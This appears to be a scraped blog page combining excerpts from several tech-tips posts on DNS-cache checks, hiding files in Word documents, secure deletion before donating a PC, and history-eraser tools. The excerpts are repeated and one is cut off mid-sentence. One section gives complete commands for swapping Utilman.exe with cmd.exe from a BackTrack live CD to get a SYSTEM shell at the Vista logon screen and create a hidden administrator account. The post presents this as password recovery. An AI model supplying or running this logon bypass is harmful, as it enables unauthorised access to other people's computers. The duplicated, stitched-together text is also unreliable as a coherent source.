The DNS cache on your local computer is a list of the most recently accessed DNS entries. If you suspect that some one has just breached your corporate Internet policy by accessing inappropriate web content and they have run a cleaning program that wipes out the Internet cache, you may be able to get a list of the websites from the DNS cache.
Simply type from a command prompt:
ipconfig /displaydns
to display the contents of the DNS cache.
You can then look through to see if there are any domains that should not be there.
A very useful trick from What’s My Pass? if you can’t access your Vista box:
Using BackTrack Live CD which can be found ::here::
For those of you who forgot your spiffy new Vista Logon password. Here’s a quick and dirty way to make a new user account. BTW, this has been around since XP but still useful.
Boot into Backtrack and open a shell prompt:
cd /mnt (change directory to mounted drives)
ls (get the list of mounted drives)
cd sda1 (sda1 is the main hard drive)
cd Windows/ (change to the windows directory)
cd System32/ (change to the system directory)
mv Utilman.exe Utilman.old (backup original file)
cp cmd.exe Utilman.exe (copy cmd.exe as utilman.exe)
reboot
once rebooted, at vista logon screen, Press Windows key + U
To invoke Utility Manager ( A.K.A. CMD.exe)
Cmd.exe will spawn with ‘System’ privileges.
c:\>net user S00perAdmin mypassword /add
c:\>net localgroup administrators S00perAdmin /add
Reboot and log in with your newly added Admin account
I received a lot of response from the HowTo Hide Files in JPG post, I thought that I would present you with another way of hiding data. This method is a bit more specific in that it allows you to hide an Excel spreadsheet inside a Word document. The really cool thing about this little trick is that once you have your special Word document created, you do not need to have the program on the computer!
So, to start this off, here is a little video that I put together to show you how what this little trick does for us:
I’m sure many of you have considered donating your old computer to a school, church, or other non-profit organization. While I encourage you to do so (tax writeoff!), you need to be aware of the potential danger to your personal security if you do so.
Preparation ends at deleting personal files? Not so much…
Of course, the first thing that comes to mind when donating or trashing an old computer is “I’d better delete my files”. While this is obviously a splendid idea, make sure that you are making every effort to protect your privacy by understanding what ‘delete’ means.
In the Windows world, when you delete a file or folder from your computer, they are essentially “marked for deletion” - think of it as taking the label off of your videocassette (ah, memories…) with your favorite episode of say, ‘Falcon Crest‘, but not actually re-recording over it until ‘TJ Hooker’ is on later during the week.
When a file is marked for deletion, it tells the operating system that “this block is available if you have anything to write here”. However, your OS may have plenty of other blocks to write to before writing something in this newly available block (in keeping with our example, you have plenty of new blank tapes to record “The Hook” on, so you decide to use those first, instead of compromising video quality on a pre-used cassette). So in essence, your data is still there on your drive, ready to be restored at any time; a number of utilities exist, free and payware, with the ability to restore your deleted data quite easily, and by computer-novices.
Case in point:
I worked for a large corporation as a desktop support agent. One of my younger colleagues forgot to back up a computer before loading a new cloned image on the PC, essentially overwriting all the data from the previous configuration.
Or, so he thought.
In an act of desperation, I ran a Norton file recovery and undelete command on the drive, and was able to restore EVERY file from the previous configuration (probably saving my young friend his job!).
Things you can do to help yourself:
Get the help of a techno-nerd friend to securely delete your data. Entice him/her with pizza and gift certificates to NewEgg.com if necessary.
Delete your files using a secure erase program (see below)
Defrag your hard drive often, especially after you uninstall a lot of software, or delete large amounts of data. This will overwrite the empty blocks quicker (if the amount of data surpasses the point on the drive where your deleted file was located). This is not a surefire method, but it will enhance your performance in addition to latently increasing the chances you are overwriting your ‘marked’ files.
If you are trashing your computer and no longer need the hard disk, remove and smash it with a large hammer. Seems a bit barbaric, but it is extremely satisfying. If the hard drive is sizable enough, consider buying an external USB enclosure and using it as a backup drive.
Giving can be a wonderful thing; it gives you that warm-fuzzy feeling when you’ve done something nice…don’t let one second of that familiar “oh…no…” moment (you know what I’m talking about) ruin your “feel-goodiness.”
They go by a lot of different names: history erasers, track eliminators, privacy cleaners, Internet eradicators. But, whatever you call them, their purpose is to remove all evidence of your “Internet indiscretions”. The big questions are, how well do they work and do they still leave some tracks behind?
These programs, which we will refer to as history erasers, claim to remove any trace of where you have been on the Internet and what you have been accessing on the Internet. These programs are typically marketed, quite aggressively in many instances, to people who, either accidentally or purposefully, accessed something on the Internet that they should not have.
This can be the teenager accessing adult content and is afraid her parents will discover what she has done. Or an employee who had an inappropriate pop-up appear on his computer screen while doing research for work. Maybe it is an online pedophile who is afraid that the police might somehow access his computer and discover evidence of his “hobby”. Or the concerned online bank customer worried about their password or credit card number that may be stored on their computer.
The truth is, these tools provide very limited protection against anyone who is looking for what you are doing on the Internet. They may stop someone who does not understand how the Internet or networks work but for someone who knows what they are doing, these provide very little in the way of “protection”. Following is a breakdown of what these tools can and can’t do for you.
The DNS cache on your local computer is a list of the most recently accessed DNS entries. If you suspect that some one has just breached your corporate Internet policy by accessing inappropriate web content and they have run a cleaning program that wipes out the Internet cache, you may be able to get a list of the websites from the DNS cache.
I received a lot of response from the 
I’m sure many of you have considered donating your old computer to a school, church, or other non-profit organization. While I encourage you to do so (tax writeoff!), you need to be aware of the potential danger to your personal security if you do so.
They go by a lot of different names: history erasers, track eliminators, privacy cleaners, Internet eradicators. But, whatever you call them, their purpose is to remove all evidence of your “Internet indiscretions”. The big questions are, how well do they work and do they still leave some tracks behind?